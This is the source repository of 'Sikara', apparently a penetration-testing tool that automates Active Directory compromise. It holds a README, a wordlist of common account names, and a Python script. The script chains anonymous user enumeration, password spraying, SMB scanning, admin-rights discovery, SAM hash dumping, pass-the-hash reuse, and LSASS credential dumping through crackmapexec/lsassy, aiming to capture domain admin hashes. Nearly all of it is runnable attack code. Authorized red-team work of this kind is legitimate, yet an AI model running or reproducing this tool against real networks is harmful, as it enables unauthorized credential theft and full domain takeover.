├── requirements.txt ├── basic_use_case.png ├── common_users.txt ├── README.md └── sikara.py /requirements.txt: -------------------------------------------------------------------------------- 1 | rich 2 | shutils 3 | ipaddress 4 | -------------------------------------------------------------------------------- /basic_use_case.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/sikara/HEAD/basic_use_case.png -------------------------------------------------------------------------------- /common_users.txt: -------------------------------------------------------------------------------- 1 | root 2 | admin 3 | test 4 | guest 5 | info 6 | adm 7 | mysql 8 | user 9 | administrator 10 | oracle 11 | ftp 12 | ansible 13 | vagrant 14 | veeam 15 | veeam-adm 16 | copieur 17 | stagiaire 18 | informatique 19 | secretariat 20 | finance 21 | finances 22 | compta 23 | accueil 24 | stage 25 | formation 26 | formations 27 | printer 28 | conference 29 | labo 30 | drh 31 | achats 32 | achat 33 | gestion 34 | enquete 35 | admgestion 36 | admfacturation 37 | admenquete 38 | admissions 39 | archives 40 | assistance 41 | atelier 42 | certification 43 | communication 44 | contact 45 | coordination 46 | scanner 47 | sage 48 | restauration 49 | direction 50 | gestionnaire 51 | maintenance 52 | medecins 53 | pc-formation 54 | pc-securite 55 | intranet 56 | extranet 57 | repro 58 | paie 59 | logistique 60 | reservation 61 | securite 62 | standard 63 | support 64 | facturation 65 | caisse 66 | pcm 67 | supportsi 68 | esi 69 | sopra 70 | sogeti 71 | vpn 72 | vpntest 73 | printers 74 | infosi -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Sikara - Active Directory Hunting # 2 | 3 | 4 | ## Intro ## 5 | 6 | Sikara has been developed in order to ease and assist the compromise of an Active Directory environment. 7 | 8 | The idea behind the tool is to centralize and automate a certain number of tasks and checks in order to, in the best case, compromise a Domain Admin account. 9 | Instead of starting from scratch and developing every request with the Python's lib Impacket, I chose to use basic tools that are available on every basic Kali distribution. 10 | 11 | 12 | ## Features ## 13 | 14 | - Unauthenticated (anonymous) domain users enumeration over RPC 15 | 16 | - Domain information gathering (domain name, account lockout policy, list of nested domain admins) 17 | 18 | - Password spraying 19 | 20 | - SMB servers scanning 21 | 22 | - Admin rights enumeration 23 | 24 | - Built-in local admin password reuse hunting 25 | 26 | - SAM and LSA dumping 27 | 28 | 29 | ## Installation ## 30 | 31 | ``` 32 | python3 -m pip install -r requirements.txt 33 | ``` 34 | 35 | Sikara works with **rich** Python library for terminal formatting. 36 | Also, it works with other tools (requirement check at launch).Make sure the following are available : **rpcclient**, **smbclient**, **polenum**, **ldapsearch**, **nmap**, **crackmapexec**. 37 | 38 | For now, the call to **crackmapexec** is hardcoded and I used `cme`. Indeed, `crackmapexec` is the old version for me and `cme` is the newly installed one. 39 | Make sure `cme` is the latest version with lsassy module available. 40 | 41 | 42 | ## Usage ## 43 | 44 | ``` 45 | Usage: sikara.py dc-ip [options] 46 | 47 | Options: 48 | -h, --help show this help message and exit 49 | -u USERS File containing the list of users if automatic users 50 | enumeration failed. 51 | -p PASSWORD Password to test for password spray. Default: test login as 52 | password. 53 | -d DOMAIN Domain name if different from default domain on DC. 54 | -t TARGETS Subnet to target when enumerating user's rights on machines. 55 | Default: subnet /24 of the DC. 56 | -f TARGETSFILE File containing targets to enumerate user's rights on 57 | machines (one per line). Default: subnet /24 of the DC. 58 | ``` 59 | 60 | Sikara first tries to enumerate domain users through anonymous RPC connection to the domain controller. If it fails, it uses the embedded file **common_users.txt** for the further password spray. This file contains generic account names that have been regularly found throughout internal pentests. The user can provide a file containing domain users instead of trying anonymous enumeration. 61 | 62 | The tool checks for previous password sprays and prevents locking out all domain accounts, according to the domain lockout policy it has retrieved. It then performs a password spray, either with login as password (default) or with the password provided with `-p PASSWORD` option. 63 | 64 | Preparing the next phase, the tool enumerates SMB hosts on the /24 subnetwork of the domain controller (default) or on the subnetwork given with `-t TARGETS` option. The hosts are gathered inside *targets.txt* file. As it can take some time, `-f TARGETSFILE` option is available if you previously ran the tool and want to skip that check. 65 | 66 | If any valid user is found, the tool enumerates its admin rights on the previous scope. 67 | 68 | If any admin right is found on the SMB hosts, the tool dumps the built-in local administrator account hashes. For now, only **built-in administator account (RID 500)** is dumped (won't work if the account is disabled). 69 | 70 | The tool then checks for any password reuse on SMB hosts and then dumps cached domain credentials with lsassy module, hunting for domain admins. 71 | 72 | 73 | The visual and some verifications have changed but here is an idea of what it looks like when everything works fine. 74 | 75 | ![Sikara](basic_use_case.png) 76 | -------------------------------------------------------------------------------- /sikara.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | # by @thexon 4 | # Version 1.2 5 | 6 | # needs rpcclient, smbclient, ldapsearch, polenum, nmap and latest stable version of cme (alias cme and not crackmapexec) 7 | 8 | from subprocess import call, DEVNULL, PIPE, run, check_output 9 | from rich.console import Console 10 | from os import path 11 | from select import select 12 | from shutil import which 13 | import sys, ipaddress, time, optparse, re 14 | 15 | console = Console() 16 | sikaraPath = path.dirname(__file__) + '/' 17 | 18 | class Error(Exception): 19 | pass 20 | class EnumError(Error): 21 | pass 22 | 23 | 24 | ## Checks if required tools are available 25 | def checkTools(): 26 | 27 | try: 28 | console.print("[bold yellow] ░ Checking tools requirement...[/bold yellow]") 29 | tools = ["rpcclient", "smbclient", "ldapsearch", "polenum", "nmap"] 30 | 31 | for tool in tools: 32 | if not which(tool): 33 | console.print("[bold red] [-][/bold red] It seems that [b]%s[/b] is not installed (or not in the path) but required. Exiting...\n" % tool) 34 | raise SystemExit 35 | 36 | # checks if lsassy module is available on cme 37 | cmd = run("cme smb -M lsassy", stderr=DEVNULL, stdout=DEVNULL, shell=True) 38 | if cmd.returncode == 1: 39 | console.print("[bold red] [-][/bold red] It seems that [b]lsassy module in CME[/b] is not installed but required. Exiting...\n") 40 | raise SystemExit 41 | 42 | except SystemExit: 43 | sys.exit(1) 44 | raise 45 | except: 46 | console.print("\n[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 47 | sys.exit(1) 48 | raise 49 | 50 | 51 | ## Creates a new dir for the target domain and defines the path 52 | def createDir(domain): 53 | 54 | global sikaraPath 55 | 56 | try: 57 | 58 | if not path.exists(sikaraPath+domain): 59 | console.print("\n[bold yellow] ░ Creating new directory for target domain...[/bold yellow]") 60 | cmd = "mkdir {}".format(sikaraPath+domain) 61 | call(cmd, shell=True, stdout=DEVNULL, stderr=DEVNULL) 62 | 63 | sikaraPath += "{}/".format(domain) 64 | 65 | except KeyboardInterrupt: 66 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 67 | sys.exit(1) 68 | raise 69 | except: 70 | console.print("\n[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 71 | sys.exit(1) 72 | raise 73 | 74 | 75 | ## Checks if NULL session is allowed on the DC with rpcclient and 76 | ## gathers all users inside users.txt file for further pass spray. 77 | def enumUser(dc_ip): 78 | 79 | global sikaraPath 80 | 81 | try: 82 | # Uses rpcclient to check for SMB NULL session and create a users.txt file 83 | cmd1 = "rpcclient -W '' -c enumdomusers -U''%'' {} >> {}tmp.txt".format(dc_ip, sikaraPath) 84 | cmd2 = "cat {}tmp.txt | grep -oP '(?<=user:\\[)[^\\]]*' > {}users.txt".format(sikaraPath,sikaraPath) 85 | cmd3 = "rm {}tmp.txt".format(sikaraPath) 86 | 87 | console.print("\n[bold yellow] ░ Enumerating AD users...[/bold yellow]") 88 | 89 | call(cmd1, shell=True, stdout=DEVNULL, stderr=DEVNULL) 90 | 91 | # Checks if NULL session is allowed on the DC by reading the first line of tmp.txt. 92 | with open(sikaraPath+'tmp.txt', 'r') as infile: 93 | status = infile.readline() 94 | if "NT_STATUS_CONNECTION_REFUSED" in status or "NT_STATUS_ACCESS_DENIED" in status: 95 | call(cmd3, shell=True, stdout=DEVNULL, stderr=DEVNULL) 96 | console.print("[bold red] [-][/bold red] Anonymous enumeration does not seem to work.\n") 97 | return False 98 | 99 | console.print("[b][green] [+][/green] It looks like NULL session is allowed on the DC.[/b]") 100 | 101 | # Creates users.txt file with all AD users if allowed. 102 | call(cmd2, shell=True, stdout=DEVNULL, stderr=DEVNULL) 103 | call(cmd3, shell=True, stdout=DEVNULL, stderr=DEVNULL) 104 | console.print("[cyan] [*][/cyan] [i]Active Directory users were gathered in users.txt.[/i]") 105 | 106 | return True 107 | 108 | except KeyboardInterrupt: 109 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 110 | sys.exit(1) 111 | raise 112 | except: 113 | console.print("\n[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 114 | sys.exit(1) 115 | raise 116 | 117 | 118 | ## Escapes quotes, $ and ! for bash/shell command 119 | def escapeshell(s): 120 | return s.replace('"','\\"').replace('$','\\$').replace('!','\\!') 121 | 122 | 123 | ## Takes a users file as input and tries to authenticate with 124 | ## login as password (all lowered). 125 | def passSprayLoginPass(dc_ip, file, domain): 126 | 127 | try : 128 | users = [] 129 | with open(file) as usersFile: 130 | users = usersFile.read().splitlines() 131 | 132 | console.print("\n[bold yellow] ░ Password spraying with login as password...[/bold yellow]") 133 | 134 | # Tries to authenticate with smbclient on the DC 135 | foundUserFlag = 0 136 | validUsers = dict() 137 | for user in users: 138 | password = user.lower() 139 | cmd = run('smbclient //{}/NETLOGON -U "{}\\{}%{}" -c exit'.format(dc_ip, domain, escapeshell(user), escapeshell(user)), stderr=DEVNULL, stdout=DEVNULL, shell=True) 140 | time.sleep(0.1) # to prevent errors 141 | 142 | if cmd.returncode == 0: 143 | if not foundUserFlag: 144 | console.print("[b][green] [+][/green] Found valid account(s) using login as password:[/b]") 145 | foundUserFlag = 1 146 | validUsers[user] = user 147 | console.print(' [blue]->[/blue] %s' % user) 148 | 149 | if not foundUserFlag: 150 | console.print("[bold red] [-][/bold red] No valid account was found using login as password. Try a password spray with -p option.\n") 151 | 152 | return validUsers 153 | 154 | except KeyboardInterrupt: 155 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 156 | sys.exit(1) 157 | raise 158 | except: 159 | console.print("\n[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 160 | sys.exit(1) 161 | raise 162 | 163 | 164 | ## Takes a users file as input and tries to authenticate with 165 | ## a given password. 166 | def passSprayDictPass(dc_ip, password, file, domain): 167 | 168 | try : 169 | users = [] 170 | with open(file) as usersFile: 171 | users = usersFile.read().splitlines() 172 | 173 | console.print("\n[bold yellow] ░ Password spraying with password [blue]%s[/blue]...[/bold yellow]" % password) 174 | 175 | # Tries to authenticate with smbclient on the DC 176 | foundUserFlag = 0 177 | validUsers = dict() 178 | for user in users: 179 | cmd = run('smbclient //{}/NETLOGON -U "{}\\{}%{}" -c exit'.format(dc_ip, domain, escapeshell(user), escapeshell(password)), stderr=DEVNULL, stdout=DEVNULL, shell=True) 180 | time.sleep(0.1) # to prevent errors 181 | 182 | if cmd.returncode == 0: 183 | if not foundUserFlag: 184 | console.print("[b][green] [+][/green] Found valid account(s) using password [blue]%s[/blue]:[/b]" % password) 185 | foundUserFlag = 1 186 | validUsers[user] = password 187 | console.print(' [blue]->[/blue] %s' % user) 188 | 189 | if not foundUserFlag: 190 | console.print("[bold red] [-][/bold red] No valid account was found using password [blue]%s[/blue].\n" % password) 191 | 192 | return validUsers 193 | 194 | except KeyboardInterrupt: 195 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 196 | sys.exit(1) 197 | raise 198 | except: 199 | console.print("[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 200 | sys.exit(1) 201 | raise 202 | 203 | 204 | ## If no SMB targets are given to Sikara, it attempts to find 205 | ## smb targets on the DC subnet /24. 206 | def findSMBTargets(subnet): 207 | 208 | global sikaraPath 209 | 210 | try: 211 | console.print("\n[bold yellow] ░ Finding SMB targets on subnet [blue]%s[/blue]...[/bold yellow]" % subnet) 212 | # cannot use .format() because awk brackets are in conflict... 213 | command = "nmap -p445 -T4 --open %s -oG - | grep '/open' | awk '{ print $2 }' > %stargets.txt" % (subnet,sikaraPath) 214 | cmd = run(command, encoding='utf-8', stderr=DEVNULL, stdout=DEVNULL, shell=True) 215 | console.print("[cyan] [*][/cyan] [i]SMB hosts were gathered in targets.txt.[/i]") 216 | 217 | except KeyboardInterrupt: 218 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 219 | sys.exit(1) 220 | raise 221 | except: 222 | console.print("\n[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 223 | sys.exit(1) 224 | raise 225 | 226 | 227 | ## Finds domain name 228 | def findDomainName(dc_ip): 229 | 230 | try: 231 | console.print("\n[bold yellow] ░ Finding domain name...[/bold yellow]") 232 | cmd = run("cme smb {} | grep -oP '(?<=domain:)[^)]*'".format(dc_ip), encoding='utf-8', stderr=DEVNULL, stdout=PIPE, shell=True) 233 | domain = cmd.stdout.strip() 234 | 235 | if domain: 236 | console.print("[b][green] [+][/green] Found domain name [blue]{}[/blue].[/b]".format(domain)) 237 | return domain 238 | 239 | console.print("[bold red] [-][/bold red] Failed to retrieve domain name.") 240 | return None 241 | 242 | except KeyboardInterrupt: 243 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 244 | sys.exit(1) 245 | raise 246 | except: 247 | console.print("\n[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 248 | sys.exit(1) 249 | raise 250 | 251 | 252 | ## Finds domain account lockout policy 253 | def findDomainLockoutPolicy(dc_ip): 254 | 255 | try: 256 | lockoutPolicy = dict() 257 | console.print("\n[bold yellow] ░ Finding domain account lockout policy (FGPP check later on)...[/bold yellow]") 258 | cmd = run("polenum '':''@{} | grep Lock".format(dc_ip), encoding='utf-8', stderr=DEVNULL, stdout=PIPE, shell=True) 259 | tmpPolicy = cmd.stdout.strip().split('\n') 260 | 261 | if tmpPolicy[0]: 262 | for item in tmpPolicy: 263 | if "Reset Account Lockout Counter" in item: lockoutPolicy['window'] = item.split(': ')[1].split(' ')[0] 264 | if "Locked Account Duration" in item: lockoutPolicy['lockout'] = item.split(': ')[1].split(' ')[0] 265 | if "Account Lockout Threshold" in item: 266 | if item.split(': ')[1] == "None": lockoutPolicy['attempts'] = "Infinite" 267 | else: lockoutPolicy['attempts'] = item.split(': ')[1] 268 | 269 | console.print("[b][green] [+][/green] [blue]{}[/blue] failed attempts within [blue]{} minutes[/blue] lead to a [blue]{} minutes[/blue] lockout.[/b]".format(lockoutPolicy['attempts'], lockoutPolicy['window'], lockoutPolicy['lockout'])) 270 | return lockoutPolicy 271 | 272 | console.print("[bold red] [-][/bold red] Failed to retrieve domain account lockout policy.") 273 | return None 274 | 275 | except KeyboardInterrupt: 276 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 277 | sys.exit(1) 278 | raise 279 | except: 280 | console.print("\n[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 281 | sys.exit(1) 282 | raise 283 | 284 | 285 | ## Checks if password spray counter is near the password policy limit and asks for continuing 286 | def checkPasswordSprayCounter(lockoutPolicy): 287 | 288 | global sikaraPath 289 | 290 | try: 291 | console.print("\n[bold yellow] ░ Checking previous password sprays...[/bold yellow]") 292 | 293 | with open(sikaraPath+'try.lock', 'r') as infile: 294 | timestamps = reversed(infile.readlines()) 295 | 296 | counter = 0 297 | actualTimestamp = time.time() 298 | window = lockoutPolicy['window'] 299 | 300 | for timestamp in timestamps: 301 | if actualTimestamp - float(timestamp.strip()) < 60 * int(window): counter += 1 302 | else: break 303 | 304 | console.print("[bold yellow] [!][/bold yellow] Already done [blue]%s[/blue] password spray in the last [blue]%s[/blue] minutes. Be careful not locking out all domain accounts." % (counter, lockoutPolicy['window'])) 305 | console.print("[b][yellow] [!][/yellow] Press [Enter] to proceed to password spray.[/b]") 306 | 307 | timeout = 10 308 | keyPressed, a, b = select([sys.stdin], [], [], timeout) 309 | if not keyPressed: 310 | console.print("\n[b][red] [-][/red] No key pressed. Exiting...[/b]\n") 311 | raise SystemExit 312 | 313 | except SystemExit: 314 | sys.exit(1) 315 | raise 316 | except KeyboardInterrupt: 317 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 318 | sys.exit(1) 319 | raise 320 | except FileNotFoundError: 321 | console.print("[bold red] [-][/bold red] Timestamp file try.lock not found. Assuming this is the first use of the tool.") 322 | except: 323 | console.print("\n[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 324 | sys.exit(1) 325 | raise 326 | 327 | 328 | ## Increments password spray counter in try.lock 329 | def timestampPasswordSpray(): 330 | 331 | global sikaraPath 332 | 333 | try: 334 | with open(sikaraPath+'try.lock', 'a') as infile: 335 | infile.write("{}\n".format(time.time())) 336 | 337 | except KeyboardInterrupt: 338 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 339 | sys.exit(1) 340 | raise 341 | except: 342 | console.print("\n[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 343 | sys.exit(1) 344 | raise 345 | 346 | 347 | ## Finds domain fine grained password policy if any. It requires 348 | ## an account so it will be displayed after the previous password 349 | ## sprays. But it can be useful for further password sprays. 350 | def findFGPP(dc_ip, validUsers, domain): 351 | 352 | global sikaraPath 353 | 354 | try: 355 | console.print("\n[bold yellow] ░ Finding Fine Grained Password Policy for further password sprays...[/bold yellow]") 356 | 357 | user, password = next(iter(validUsers.keys())), next(iter(validUsers.values())) 358 | 359 | # Forms domain base 360 | if '.' in domain: 361 | domainArray = domain.strip().split('.') 362 | domainBase = '' 363 | for part in domainArray: 364 | domainBase += "DC={},".format(part) 365 | domainBase = domainBase[:-1] 366 | else: 367 | domainBase = domain 368 | 369 | # search for the fgpp container 370 | objectFilter = "(objectClass=msDS-PasswordSettings)" 371 | command = 'ldapsearch -x -H ldap://{} -D {}@{} -w {} -b "{}" "{}" | grep numEntries'.format(dc_ip,user,domain,password,domainBase,objectFilter) 372 | cmd = run(command, encoding='utf-8', stderr=DEVNULL, stdout=PIPE, shell=True) 373 | numEntries = cmd.stdout.strip().split('\n') 374 | 375 | # Checks if "# numEntries:" is different from 0, meaning that there is a FGPP entry 376 | if numEntries[0]: 377 | 378 | command2 = 'ldapsearch -x -H ldap://{} -D {}@{} -w {} -b "{}" "{}" msDS-LockoutObservationWindow msDS-LockoutDuration msDS-LockoutThreshold | grep msDS-Lockout'.format(dc_ip,user,domain,password,domainBase,objectFilter) 379 | cmd2 = run(command2, encoding='utf-8', stderr=DEVNULL, stdout=PIPE, shell=True) 380 | fgppParameters = cmd2.stdout.strip().split('\n')[1:] 381 | 382 | fgpp = dict() 383 | for param in fgppParameters: 384 | if "msDS-LockoutObservationWindow" in param: fgpp['window'] = str(int(param.split(': ')[1][1:]) // 60000) 385 | if "msDS-LockoutDuration" in param: fgpp['lockout'] = str(int(param.split(': ')[1][1:]) // 60000) 386 | if "msDS-LockoutThreshold" in param: fgpp['attempts'] = param.split(': ')[1] 387 | 388 | # if threshold is 0, then there is no FGPP to be taken into account 389 | if fgpp['attempts'] != "0": 390 | 391 | console.print("[b][green] [+][/green] FGPP detected and taken into account for further password sprays.[/b]") 392 | console.print("[b][green] [+][/green] [blue]{}[/blue] failed attempts within [blue]{} minutes[/blue] lead to a [blue]{} minutes[/blue] lockout.[/b]".format(fgpp['attempts'], fgpp['window'], fgpp['lockout'])) 393 | 394 | with open(sikaraPath+'fgpp.lock', 'w') as fgppFile: 395 | fgppFile.write("{} / {} / {}".format(fgpp['attempts'], fgpp['window'], fgpp['lockout'])) 396 | 397 | return 398 | 399 | console.print("[bold red] [-][/bold red] No FGPP was found on the domain.") 400 | 401 | except KeyboardInterrupt: 402 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 403 | sys.exit(1) 404 | raise 405 | except: 406 | console.print("\n[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 407 | sys.exit(1) 408 | raise 409 | 410 | 411 | ## Finds domain admins 412 | def findDomainAdmins(dc_ip, validUsers, domain): 413 | 414 | try: 415 | console.print("\n[bold yellow] ░ Finding domain admins...[/bold yellow]") 416 | 417 | user, password = next(iter(validUsers.keys())), next(iter(validUsers.values())) 418 | 419 | # Forms domain base 420 | if '.' in domain: 421 | domainArray = domain.strip().split('.') 422 | domainBase = '' 423 | for part in domainArray: 424 | domainBase += "DC={},".format(part) 425 | domainBase = domainBase[:-1] 426 | else: 427 | domainBase = domain 428 | 429 | # deals with different names 430 | domainAdminGroups = ["Domain Admins", "Admins du domaine", "Domain Administrators"] 431 | 432 | for domainAdminGroup in domainAdminGroups: 433 | 434 | # recursively search for nested DA groups 435 | objectFilter = "(&(objectClass=user)(memberof:1.2.840.113556.1.4.1941:=CN={},CN=Users,{}))".format(domainAdminGroup, domainBase) 436 | command = 'ldapsearch -x -H ldap://{} -D {}@{} -w {} -b "{}" "{}" | grep sAMAccountName | cut -d " " -f2'.format(dc_ip,user,domain,password,domainBase,objectFilter) 437 | cmd = run(command, encoding='utf-8', stderr=DEVNULL, stdout=PIPE, shell=True) 438 | domainAdmins = cmd.stdout.strip().split('\n') 439 | 440 | if domainAdmins[0]: 441 | 442 | console.print("[b][green] [+][/green] Found [blue]%s[/blue] domain admins.[/b]" % len(domainAdmins)) 443 | for admin in domainAdmins: 444 | console.print(' [blue]->[/blue] {}'.format(admin)) 445 | return domainAdmins 446 | 447 | console.print("[bold red] [-][/bold red] Failed to retrieve domain admins.") 448 | return None 449 | 450 | except KeyboardInterrupt: 451 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 452 | sys.exit(1) 453 | raise 454 | except: 455 | console.print("\n[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 456 | sys.exit(1) 457 | raise 458 | 459 | 460 | ## Checks if user is member of domain admins 461 | def isDomainAdmin(user, domainAdmins, domain): 462 | 463 | try: 464 | if user in domainAdmins: 465 | console.print("\n[b][green] [+][/green] User [blue]%s[/blue] is a domain administrator. Well done, domain [blue]%s[/blue] is pwned, have fun ![/b]\n" % (user,domain)) 466 | return True 467 | return False 468 | 469 | except KeyboardInterrupt: 470 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 471 | sys.exit(1) 472 | raise 473 | except: 474 | console.print("\n[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 475 | sys.exit(1) 476 | raise 477 | 478 | 479 | ## Finds admin rights on SMB hosts with previously found valid users 480 | def findLocalAdminRights(validUsers, targetsFile, domain): 481 | 482 | try: 483 | console.print("\n[bold yellow] ░ Hunting for admin rights on targets with previous valid users...[/bold yellow]") 484 | 485 | for user in validUsers: 486 | 487 | cmd = run("cme smb %s -u %s -p %s -d %s | grep Pwn3d | awk '{print $2}'" % (targetsFile,user,validUsers[user],domain), encoding='utf-8', stderr=DEVNULL, stdout=PIPE, shell=True) 488 | localAdminMachines = cmd.stdout.strip().split('\n') 489 | 490 | if localAdminMachines[0]: 491 | 492 | console.print("[b][green] [+][/green] Found admin rights for user [blue]%s[/blue] on [blue]%i[/blue] machines.[/b]" % (user,len(localAdminMachines))) 493 | console.print("[cyan] [*][/cyan] [i]Admin rights enumeration for other users stopped.[/i]") 494 | localAdminRights = {'user':user, 'password':validUsers[user], 'domain':domain, 'hosts':localAdminMachines} 495 | return localAdminRights 496 | 497 | console.print("[bold red] [-][/bold red] No admin right was found on targets with these users.\n") 498 | 499 | except KeyboardInterrupt: 500 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 501 | sys.exit(1) 502 | raise 503 | except: 504 | console.print("\n[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 505 | sys.exit(1) 506 | raise 507 | 508 | 509 | ## Dumps SAM database for user having admin rights on SMB host 510 | def dumpSAM(localAdminRights): 511 | 512 | global sikaraPath 513 | 514 | try: 515 | user, password, domain, hosts = localAdminRights['user'], localAdminRights['password'], localAdminRights['domain'], localAdminRights['hosts'] 516 | console.print("\n[bold yellow] ░ Retrieving Administrator hashes in SAM database of compromised hosts...[/bold yellow]") 517 | 518 | localAdminHashes = [] 519 | 520 | # Dumps SAM of each host on which user has admin rights 521 | for host in hosts: 522 | 523 | cmd = run("cme smb %s -u %s -p %s -d %s --sam | grep ':500:' | awk '{print $5}' | grep -oP '(?<=33m).*'" % (host,user,password,domain), encoding='utf-8', stderr=DEVNULL, stdout=PIPE, shell=True) 524 | localAdminHash = cmd.stdout.split(':::')[0].split(':500:') 525 | 526 | # To prevent duplicates 527 | if localAdminHash not in localAdminHashes: 528 | localAdminHashes.append(localAdminHash) 529 | 530 | hashesCount = len(localAdminHashes) 531 | if hashesCount >= 1: 532 | console.print("[b][green] [+][/green] Retrieved [blue]%i[/blue] different local administrator accounts credentials.[/b]" % hashesCount) 533 | 534 | with open(sikaraPath+'localAdminHash.txt', 'w') as outfile: 535 | for localAdminHash in localAdminHashes: 536 | outfile.write(localAdminHash[0]+':'+localAdminHash[1]+'\n') 537 | 538 | console.print("[cyan] [*][/cyan] [i]Credentials were gathered in localAdminHash.txt.[/i]") 539 | return localAdminHashes 540 | 541 | else: 542 | console.print("[bold red] [-][/bold red] Could not retrieve local administrator account credentials.\n") 543 | return localAdminHashes 544 | 545 | except KeyboardInterrupt: 546 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 547 | sys.exit(1) 548 | raise 549 | except: 550 | console.print("\n[bold red] [-][/bold red] Unexpected error: " + str(sys.exc_info()[0]) + '\n') 551 | sys.exit(1) 552 | raise 553 | 554 | 555 | ## Tries to pass the admin hash over every SMB hosts 556 | def localAdminPassReuse(localAdminHashes, targetsFile): 557 | 558 | try: 559 | console.print("\n[bold yellow] ░ Hunting for local administrator password reuse...[/bold yellow]") 560 | 561 | localAdminHashesReused = [] 562 | 563 | # For each admin hash previously found, tries to find other machines on which the same password is used. 564 | for localAdminHash in localAdminHashes: 565 | 566 | cmd = run("cme smb %s -u %s -H %s --local-auth | grep Pwn3d | awk '{print $2}'" % (targetsFile,localAdminHash[0],localAdminHash[1]), encoding='utf-8', stderr=DEVNULL, stdout=PIPE, shell=True) 567 | passReuseMachines = cmd.stdout.strip().split('\n') 568 | passReuseCount = len(passReuseMachines) 569 | 570 | if passReuseMachines[0]: 571 | 572 | # If it is used on more than 1 machine 573 | if passReuseCount > 1: 574 | console.print("[b][green] [+][/green] [blue]%s:%s[/blue] is valid on [blue]%i[/blue] machines:[/b]" % (localAdminHash[0],localAdminHash[1],passReuseCount)) 575 | for machine in passReuseMachines: console.print(' [blue]->[/blue] %s' % machine) 576 | else: 577 | console.print("[bold orange] [!][/bold orange] [blue]%s:%s[/blue] is only valid on [blue]%i[/blue].\n" % (localAdminHash[0],localAdminHash[1],passReuseMachines[0])) 578 | 579 | currentHash = dict() 580 | currentHash['login'], currentHash['hash'], currentHash['reuseCount'], currentHash['reuseMachines'] = localAdminHash[0], localAdminHash[1], passReuseCount, passReuseMachines 581 | localAdminHashesReused.append(currentHash) 582 | 583 | else: 584 | console.print("[bold red] [-][/bold red] Error while using hash of [blue]%s[/blue] on targets. Maybe local administrator account is disabled or password must be changed or UAC is blocking.\n" % localAdminHash[0]) 585 | return localAdminHashesReused 586 | 587 | # Sorts the admin hashes being reused by the number of actual reuse (first hash being the one that is most reused on targets) 588 | localAdminHashesReused = sorted(localAdminHashesReused, key=lambda k: k['reuseCount']) 589 | return localAdminHashesReused 590 | 591 | except KeyboardInterrupt: 592 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 593 | sys.exit(1) 594 | raise 595 | except: 596 | console.print("\n[bold red] [-][/bold red] Unexpected error: {} \n".format(str(sys.exc_info()[0]))) 597 | sys.exit(1) 598 | raise 599 | 600 | 601 | ## Dumps LSA cache of compromised hosts to search for DA credentials 602 | def dumpLSA(localAdminHashesReused, domainAdmins, domain): 603 | 604 | global sikaraPath 605 | 606 | try: 607 | console.print("\n[bold yellow] ░ Hunting for cached domain admins credentials...[/bold yellow]") 608 | domainPwned = False 609 | 610 | for localAdminHashReused in localAdminHashesReused: 611 | 612 | login, localAdminHash, reuseMachines = localAdminHashReused['login'], localAdminHashReused['hash'], localAdminHashReused['reuseMachines'] 613 | 614 | domainAdminHashes = [] 615 | 616 | for machine in reuseMachines: 617 | 618 | command = "cme smb %s -u %s -H %s --local-auth -M lsassy | grep LSASSY| awk '{print $5 \":\" $6}'" % (machine,login,localAdminHash) 619 | cmd = run(command, encoding='utf-8', stderr=DEVNULL, stdout=PIPE, shell=True) 620 | lsassyHashes = cmd.stdout.strip().split('\n') 621 | 622 | for lsassyHash in lsassyHashes: 623 | account = lsassyHash.replace('\\',' ').replace(':',' ').split(' ')[1] 624 | if account in domainAdmins: 625 | domainPwned = True 626 | lsassyHash = lsassyHash[9:-3] 627 | 628 | if lsassyHash not in domainAdminHashes: 629 | domainAdminHashes.append(lsassyHash) 630 | console.print("[b][green] [+][/green] Retrieved [blue]{}[/blue] credentials on [blue]{}[/blue] ![/b]".format(account,machine)) 631 | console.print("[b][green] [+][/green] [blue]{}[/blue][/b]".format(lsassyHash)) 632 | 633 | with open(sikaraPath+'domainAdminHash.txt', 'a') as outfile: 634 | outfile.write(lsassyHash+'\n') 635 | 636 | if domainPwned: 637 | console.print("[cyan] [*][/cyan] [i]Domain admin credentials were gathered in domainAdminHash.txt.[/i]") 638 | console.print("[b][green] [+][/green] Well done, domain [blue]{}[/blue] is pwned, have fun ![/b]\n".format(domain)) 639 | else: 640 | console.print("[bold red] [-][/bold red] Could not retrieve any cached domain admin credentials.\n") 641 | 642 | except KeyboardInterrupt: 643 | console.print("\n[bold red] [-][/bold red] User aborted.\n") 644 | sys.exit(1) 645 | raise 646 | except: 647 | console.print("\n[bold red] [-][/bold red] Unexpected error: {}\n".format(sys.exc_info()[0])) 648 | sys.exit(1) 